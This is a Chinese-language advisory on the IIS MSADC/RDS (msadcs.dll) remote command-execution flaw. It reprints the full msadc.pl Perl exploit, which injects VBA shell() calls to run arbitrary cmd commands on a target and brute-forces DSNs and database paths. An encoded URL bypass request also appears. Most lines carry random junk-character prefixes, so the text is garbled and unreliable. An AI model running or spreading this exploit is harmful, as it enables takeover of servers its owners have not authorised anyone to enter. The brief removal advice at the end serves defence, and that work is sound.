IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
*R,5h2; nPtuTySG 涉及程序:
bs&43Ae Microsoft NT server
}K>d+6qk5 \K{
z 描述:
iMh#TUlQEQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
tjS@meT GA)`-*.R 详细:
zk+9'r`-D 如果你没有时间读详细内容的话,就删除:
P; no? c:\Program Files\Common Files\System\Msadc\msadcs.dll
2;b\9R^>A 有关的安全问题就没有了。
1~FOgk1; dQX6(Jj 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
QL/(72K jd"@t*ZV 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
cZ*@$%_ 关于利用ODBC远程漏洞的描述,请参看:
O\tb R= xH,a=8&9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7z,C}-q G_tCmu\ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
nW:C/{n2tG http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1H`,WQ1mG [DOckf oZx 这里不再论述。
'oVx#w^mf n&/
` 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
DfD&)tsMQ N>1em!AS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Oo~;
L, 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
W*:.Gxv] 6_;icpN] MchA{p&Ol #将下面这段保存为txt文件,然后: "perl -x 文件名"
{Mk6T1Bkq `(;m?<% #!perl
/}Axf"OE #
|-ALklXr # MSADC/RDS 'usage' (aka exploit) script
HC8e>kP9b #
WH} y"W # by rain.forest.puppy
{P./==^0 #
^CX6&d # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
e T{ 4{ # beta test and find errors!
xC TML!H RqrdAkg use Socket; use Getopt::Std;
P@B] getopts("e:vd:h:XR", \%args);
x9g#<2w8 p6@)-2^ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
n\DV3rXI9 {tZ.v@ if (!defined $args{h} && !defined $args{R}) {
m
s\} print qq~
{\5 Usage: msadc.pl -h <host> { -d <delay> -X -v }
=T@1@w -h <host> = host you want to scan (ip or domain)
)10+@d -d <seconds> = delay between calls, default 1 second
# W']6'O -X = dump Index Server path table, if available
teF9Q+*~ -v = verbose
\b x$i* -e = external dictionary file for step 5
kJ}`V ~0$&3a<n1 Or a -R will resume a command session
FZlWsp= oc`H}Wvn ~; exit;}
F41=b4/ 3 0H?KAV $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
,"ZMRq if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?a5! H*, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
T5h
H if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
4[eXe$ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
5;EvNu if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
L4HI0Mx /4Gt{ygSr if (!defined $args{R}){ $ret = &has_msadc;
5j(k:a+!H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
R/YqyT\SM 5]0<9a print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%h@EP[\ . "cmd /c ";
&8lZNv8;(p $in=<STDIN>; chomp $in;
e"<OELA $command="cmd /c " . $in ;
VPo".BvG6 ,zjv7$L if (defined $args{R}) {&load; exit;}
o+'6`g'8 0l6.<-f{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(<9u-HF# &try_btcustmr;
8A#;WG 4hj|cCrO print "\nStep 2: Trying to make our own DSN...";
=^?/+p8k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Zy/_
E@C}u hgq;`_;1, print "\nStep 3: Trying known DSNs...";
0=YI@@n) &known_dsn;
qE"OB fJg+ Ryo print "\nStep 4: Trying known .mdbs...";
H:|uw &known_mdb;
9'B `]/L |BXg/gW if (defined $args{e}){
Zh~'9 JH print "\nStep 5: Trying dictionary of DSN names...";
2^7`mES &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
h376Be{P <hyKu
print "Sorry Charley...maybe next time?\n";
/{I$ #:M exit;
2,b$7xaf !nnC3y{G ##############################################################################
>(<f 0 $&c*'3 sub sendraw { # ripped and modded from whisker
*.[.
{qG( sleep($delay); # it's a DoS on the server! At least on mine...
'w aaw_>b my ($pstr)=@_;
\FaP|28h socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@0''k die("Socket problems\n");
jP.dDYc if(connect(S,pack "SnA4x8",2,80,$target)){
8s@3hXD& select(S); $|=1;
'&b+R`g' print $pstr; my @in=<S>;
jH:[2N? select(STDOUT); close(S);
f o3}W^0 return @in;
;uGv:$([g } else { die("Can't connect...\n"); }}
:3 mh@[V +}AI@+
##############################################################################
@6.vKCSE ]SEZaT sub make_header { # make the HTTP request
sI2^Qp@O1 my $msadc=<<EOT
$??I/6 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
R=?[Nz User-Agent: ACTIVEDATA
d'> x(Yi Host: $ip
.%-8 t{dt Content-Length: $clen
c+ie8Q! Connection: Keep-Alive
ueNS='+m *un^u-; ADCClientVersion:01.06
u3D)M%e Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#'}*dy/ :`sUt1Fw. --!ADM!ROX!YOUR!WORLD!
\;Weizq5 Content-Type: application/x-varg
lB4WKn=?Kl Content-Length: $reqlen
(8OsGn 3so%gvY.' EOT
BA.uw_^4 ; $msadc=~s/\n/\r\n/g;
XjBD{m( return $msadc;}
7_t'( /yu i
XN1I ##############################################################################
%TqC/c !r-F>!~ sub make_req { # make the RDS request
Q2>gU# my ($switch, $p1, $p2)=@_;
:Dp0?&_ my $req=""; my $t1, $t2, $query, $dsn;
F'Z,]b'st3 5zJq9\)d+ if ($switch==1){ # this is the btcustmr.mdb query
uAk.@nfiEv $query="Select * from Customers where City=" . make_shell();
q(w(Sd)#L $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
*1"+%Z^ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=~gvZV-< 9YGY,sx elsif ($switch==2){ # this is general make table query
4M T 7 `sr $query="create table AZZ (B int, C varchar(10))";
fQFk+C $dsn="$p1";}
7 8,n%=nG X3&
Jb2c2 elsif ($switch==3){ # this is general exploit table query
1~gCtBRM $query="select * from AZZ where C=" . make_shell();
PY'2h4IL $dsn="$p1";}
2<6UwF p7~!z.)o elsif ($switch==4){ # attempt to hork file info from index server
+[ZY:ZQ $query="select path from scope()";
#9s,#
} $dsn="Provider=MSIDXS;";}
(k P9hcV xD 7]C|8o elsif ($switch==5){ # bad query
/{2,zW $query="select";
*WZA9G#V5 $dsn="$p1";}
4ppz,L,4 JGZBL{8 $t1= make_unicode($query);
n"8Yv~v*2j $t2= make_unicode($dsn);
8EYkQ $req = "\x02\x00\x03\x00";
~6gPS
13 $req.= "\x08\x00" . pack ("S1", length($t1));
@F>D+=hS $req.= "\x00\x00" . $t1 ;
[>9is=>o. $req.= "\x08\x00" . pack ("S1", length($t2));
>mkFV@` $req.= "\x00\x00" . $t2 ;
jWgX_//! $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
YkADk9fE return $req;}
A}w/OA97RO ?A0)L27UE& ##############################################################################
O0:q;<>z |BYRe1l6l sub make_shell { # this makes the shell() statement
ykJ>*z return "'|shell(\"$command\")|'";}
C,zohlpC 7$#u ##############################################################################
kf9X$d6 ; @X<lCk sub make_unicode { # quick little function to convert to unicode
Bp{Ri_&A my ($in)=@_; my $out;
bK7J} 8hH for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
I 6O return $out;}
g{LP7D;6 )PZT4jTt ##############################################################################
V~#tuv d=^z`nt !R sub rdo_success { # checks for RDO return success (this is kludge)
r|Z{-*` my (@in) = @_; my $base=content_start(@in);
3XKf!P if($in[$base]=~/multipart\/mixed/){
k{0o9, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ipz5 H* return 0;}
!~Z"9(v'C 9u_Pj2%56. ##############################################################################
8EY:tzw ^sZ,2,^ sub make_dsn { # this makes a DSN for us
vD4*&|8T# my @drives=("c","d","e","f");
5R7DDJk print "\nMaking DSN: ";
(5~h"s foreach $drive (@drives) {
1x^GWtRp print "$drive: ";
D'4\*4is my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
HT@=evV "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
M%#e1"n . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
2qp#N% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
P2Y^d#jO return 0 if $2 eq "404"; # not found/doesn't exist
!9x} if($2 eq "200") {
R-Sym8c foreach $line (@results) {
TZ`SZDc7_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
S>{~nOYt-` } return 0;}
=c7;r]Ol V8(- ##############################################################################
pot~<d`:K" IA(5?7x`< sub verify_exists {
7z-[f'EIUI my ($page)=@_;
^Dx&|UwiZa my @results=sendraw("GET $page HTTP/1.0\n\n");
w
= KPT''! return $results[0];}
K^[?O{x^B 8>V5dEbx' ##############################################################################
Gh$^ { I:.s_8mH} sub try_btcustmr {
%znc##j)q my @drives=("c","d","e","f");
v,t:+
!8 my @dirs=("winnt","winnt35","winnt351","win","windows");
]R *A ]f3>-)$* foreach $dir (@dirs) {
PW4q~rc=: print "$dir -> "; # fun status so you can see progress
ntY]SK%Z foreach $drive (@drives) {
SX*RP;vHy print "$drive: "; # ditto
Js;h% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
hOeRd#AQK $reqlenlen=length( "$reqlen" );
z)"=:o7 $clen= 206 + $reqlenlen + $reqlen;
"5
A!jq r
:dTz my @results=sendraw(make_header() . make_req(1,$drive,$dir));
/O9EQ Pm( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
KmF]\:sMD else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
> P)w?:k r=4eP(w= ##############################################################################
@WB@]-+J
T nP$9CA sub odbc_error {
ElXFeJ%[G my (@in)=@_; my $base;
c%&>p|| my $base = content_start(@in);
w>YDNOk if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
<uJ@:oWG7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
qWw=8Bq $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
o(HbGHIP $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j<x_ &1 return $in[$base+4].$in[$base+5].$in[$base+6];}
W%J\qA print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+v\oOBB) print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
NO3/rJ6- $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
j#6.Gq n*$ g]G$ ##############################################################################
Je{ykL?N :pUtSs7p} sub verbose {
Yw9GN2AG my ($in)=@_;
ry!!9Z>9n return if !$verbose;
W4N{S.#! print STDOUT "\n$in\n";}
F5Va+z,jg +q oRP2 ##############################################################################
;);kEq/=P h\e.e3/ sub save {
Y0>y8UV my ($p1, $p2, $p3, $p4)=@_;
Z}QB.$& open(OUT, ">rds.save") || print "Problem saving parameters...\n";
&FD>&WRV print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
iB{V^ksU close OUT;}
fIF8%J ^3 7 3m1 ##############################################################################
$^P0F9~0 ZW}_DT0 sub load {
7L??ae my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
]-q;4. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#F#%`Rv1 @p=<IN>; close(IN);
nK,w]{<wG! $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
hQi2U $target= inet_aton($ip) || die("inet_aton problems");
}*-@!wc-N print "Resuming to $ip ...";
9iq_rd] $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
o@Oqm> ]SS if($p[1]==1) {
nlYNN/@" $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
OCUr{Nh $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
kl`W\t F my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
HhpDR if (rdo_success(@results)){print "Success!\n";}
68
sB)R else { print "failed\n"; verbose(odbc_error(@results));}}
;fJ.8C elsif ($p[1]==3){
TN.rrop`#g if(run_query("$p[3]")){
uc=B,3 print "Success!\n";} else { print "failed\n"; }}
Fp:'M X elsif ($p[1]==4){
@VBcJ{e, if(run_query($drvst . "$p[3]")){
"#] $r print "Success!\n"; } else { print "failed\n"; }}
:0ep(<|; exit;}
+H.`MZ= <N)oS-m> ##############################################################################
Ei|\3Kx ]q.0!lh+WL sub create_table {
ZEQ Ex]Y my ($in)=@_;
s>en $reqlen=length( make_req(2,$in,"") ) - 28;
H. c7Nle $reqlenlen=length( "$reqlen" );
25T18&R $clen= 206 + $reqlenlen + $reqlen;
K;(mC< my @results=sendraw(make_header() . make_req(2,$in,""));
^"g~- return 1 if rdo_success(@results);
OPi0~s my $temp= odbc_error(@results); verbose($temp);
,>M[@4`,U return 1 if $temp=~/Table 'AZZ' already exists/;
U17d>]ka return 0;}
~zgGa:uU P3%5?.S ##############################################################################
Kgv T"s. %;/P&d/ sub known_dsn {
?(PKeq6 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
g\U-VZ6;p my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-12U4h<e "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
a}d@
T "banner", "banners", "ads", "ADCDemo", "ADCTest");
d1*<Ll9K ebq4g387X foreach $dSn (@dsns) {
;*N5Y}?j' print ".";
),)lzN%! next if (!is_access("DSN=$dSn"));
<GJbmRc| if(create_table("DSN=$dSn")){
m[$_7a5 print "$dSn successful\n";
(mOtU8e if(run_query("DSN=$dSn")){
dveiQ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
v^iAD2X/F print "Something's borked. Use verbose next time\n";}}} print "\n";}
: +u]S2u{ &L:!VL{I ##############################################################################
GVz6-T~\> @ 7u 0v sub is_access {
>usL*b0% my ($in)=@_;
=v\.h=~~ $reqlen=length( make_req(5,$in,"") ) - 28;
':q p05t $reqlenlen=length( "$reqlen" );
*R"/ |Ka $clen= 206 + $reqlenlen + $reqlen;
O<I- my @results=sendraw(make_header() . make_req(5,$in,""));
lFkR=!?= my $temp= odbc_error(@results);
0%B/,/PxD verbose($temp); return 1 if ($temp=~/Microsoft Access/);
CAlCDfKW} return 0;}
us.~G /efUjkP ##############################################################################
5^cCY'I 5xBbrU; sub run_query {
=%7-ZH9 my ($in)=@_;
Q/?$x*\> $reqlen=length( make_req(3,$in,"") ) - 28;
[K Qi.u $reqlenlen=length( "$reqlen" );
{_}I!`opr$ $clen= 206 + $reqlenlen + $reqlen;
8(De^H lO my @results=sendraw(make_header() . make_req(3,$in,""));
0"R|..l/ return 1 if rdo_success(@results);
~~.}ah/_d my $temp= odbc_error(@results); verbose($temp);
ta0|^KAA return 0;}
xG 1nGO [WJ+h~~
o ##############################################################################
Ni>[D"| Smh,zCc>s sub known_mdb {
vI?, 47Hj+ my @drives=("c","d","e","f","g");
[7-?7mp!B my @dirs=("winnt","winnt35","winnt351","win","windows");
h;Qk@F my $dir, $drive, $mdb;
sT.ss$HY9, my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
JT?h1v<H] WA qINLdX # this is sparse, because I don't know of many
_g8yDfcLG my @sysmdbs=( "\\catroot\\icatalog.mdb",
^Pf WG* "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
y7{?Ip4[ "\\system32\\certmdb.mdb",
AX INThJ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
]|@^1we "4Nt\WQ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
+_!QSU,@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
~Ei<Z`3}7" "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h;Kx!5)y "\\cfusion\\cfapps\\security\\realm_.mdb",
TpaInXR "\\cfusion\\cfapps\\security\\data\\realm.mdb",
RCrCs "\\cfusion\\database\\cfexamples.mdb",
;a/E42eN; "\\cfusion\\database\\cfsnippets.mdb",
!Cs_F&l"j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f<_Cq<q" "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
]GS bjHsO "\\cfusion\\brighttiger\\database\\cleam.mdb",
A,]h),b "\\cfusion\\database\\smpolicy.mdb",
l{9Y "\\cfusion\\database\cypress.mdb",
Wqnc{oq|$ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
x;S @bY "\\website\\cgi-win\\dbsample.mdb",
S/ *E,))m "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
=I<R! ZSN "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
aXVFc5C\ ); #these are just
Qrv<lE1V; foreach $drive (@drives) {
hp2t"t foreach $dir (@dirs){
965jtn foreach $mdb (@sysmdbs) {
VVZ'i.*_3? print ".";
hgmCRC if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
W^Yxny print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
(Z*!#}z` if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
.`lCWeHN print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
6863xOv{T } else { print "Something's borked. Use verbose next time\n"; }}}}}
>?b!QU*a M:8R-c#![ foreach $drive (@drives) {
`uFdwO'DD foreach $mdb (@mdbs) {
{ax:RUQxy print ".";
/z!%d%" if(create_table($drv . $drive . $dir . $mdb)){
}C:r9?T print "\n" . $drive . $dir . $mdb . " successful\n";
E./2jCwI(Y if(run_query($drv . $drive . $dir . $mdb)){
:/#rZPPF print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
> I?IPQB
} else { print "Something's borked. Use verbose next time\n"; }}}}
8}[).d160 }
XX@ZQcN dG{A~Z z ##############################################################################
Y*^[P,+J*} r$1Qf}J3= sub hork_idx {
yevPHN"M print "\nAttempting to dump Index Server tables...\n";
)4OxY[2J print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
{=WgzP $reqlen=length( make_req(4,"","") ) - 28;
yfSmDPh $reqlenlen=length( "$reqlen" );
hM{bavd $clen= 206 + $reqlenlen + $reqlen;
NUZl`fu1Z4 my @results=sendraw2(make_header() . make_req(4,"",""));
6<]lW if (rdo_success(@results)){
2iOV/=+ my $max=@results; my $c; my %d;
YVU7wW,1 for($c=19; $c<$max; $c++){
\G[$:nS $results[$c]=~s/\x00//g;
-@s#uA
h $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
7r!x1 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
h\o.&6sd $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
'V {W-W< $d{"$1$2"}="";}
I0-MRU~[K foreach $c (keys %d){ print "$c\n"; }
UpG~[u)%@ } else {print "Index server doesn't seem to be installed.\n"; }}
:]KAkhFkbb L#J1b!D&<6 ##############################################################################
fl(wV.Je| t!XwW$@ sub dsn_dict {
vt8By@]: open(IN, "<$args{e}") || die("Can't open external dictionary\n");
n[z+<VGwC while(<IN>){
vgPCQO([ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
sT)CxOV next if (!is_access("DSN=$dSn"));
m@c)Xci if(create_table("DSN=$dSn")){
rH-23S print "$dSn successful\n";
NOva'qk if(run_query("DSN=$dSn")){
%Zi} MPx print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$I=~S[p print "Something's borked. Use verbose next time\n";}}}
N['.BN print "\n"; close(IN);}
tA;}h7/Lc~ ;`&kZi60Hz ##############################################################################
YWLj?+ wp_0+$?s sub sendraw2 { # ripped and modded from whisker
Upe%rC( sleep($delay); # it's a DoS on the server! At least on mine...
u_enqC3 my ($pstr)=@_;
b;n[mk
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
J zl6eo[; die("Socket problems\n");
v+XJ*N[W if(connect(S,pack "SnA4x8",2,80,$target)){
%v|B * print "Connected. Getting data";
vzM^$V open(OUT,">raw.out"); my @in;
.]^?<bG select(S); $|=1; print $pstr;
ueudRb while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
G[=c
Ss, close(OUT); select(STDOUT); close(S); return @in;
p+eh%2Jm } else { die("Can't connect...\n"); }}
n S=W 1zf HfVZ~PP ##############################################################################
#e"[^_C@! "sTRS* sub content_start { # this will take in the server headers
)8AXm my (@in)=@_; my $c;
@]j1:PN-
for ($c=1;$c<500;$c++) {
A"]YM'. if($in[$c] =~/^\x0d\x0a/){
rp$'L7lrX if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
V`- 9m$ else { return $c+1; }}}
!g[Zfo2r" return -1;} # it should never get here actually
V88p;K$+ vaLSH
xi ##############################################################################
c)J%`i$ ;uJMG sub funky {
7! Nsm my (@in)=@_; my $error=odbc_error(@in);
Tk}]Gev if($error=~/ADO could not find the specified provider/){
j%kncGS print "\nServer returned an ADO miscofiguration message\nAborting.\n";
HN"Z]/5j exit;}
M]^5 s;y if($error=~/A Handler is required/){
F8=+j_UGI print "\nServer has custom handler filters (they most likely are patched)\n";
By|4m exit;}
.Mbz3;i0 if($error=~/specified Handler has denied Access/){
l#o
~W` print "\nServer has custom handler filters (they most likely are patched)\n";
.A|udZ, exit;}}
)5,v!X) =bOW~0Z1 ##############################################################################
CJ}%W# 4Z*/WsCv sub has_msadc {
)7F/O3Tq my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4RO}<$Nx} my $base=content_start(@results);
i5Ggf"![ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e6*8K@LHB return 0;}
_>+Ld6.T6 lxx2H1([ ########################
RZLq]8pM FrS]|=LJhX Ui~>SN>s 解决方案:
@"A4$`Xi3 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
K?;DMUSY\ 2、移除web 目录: /msadc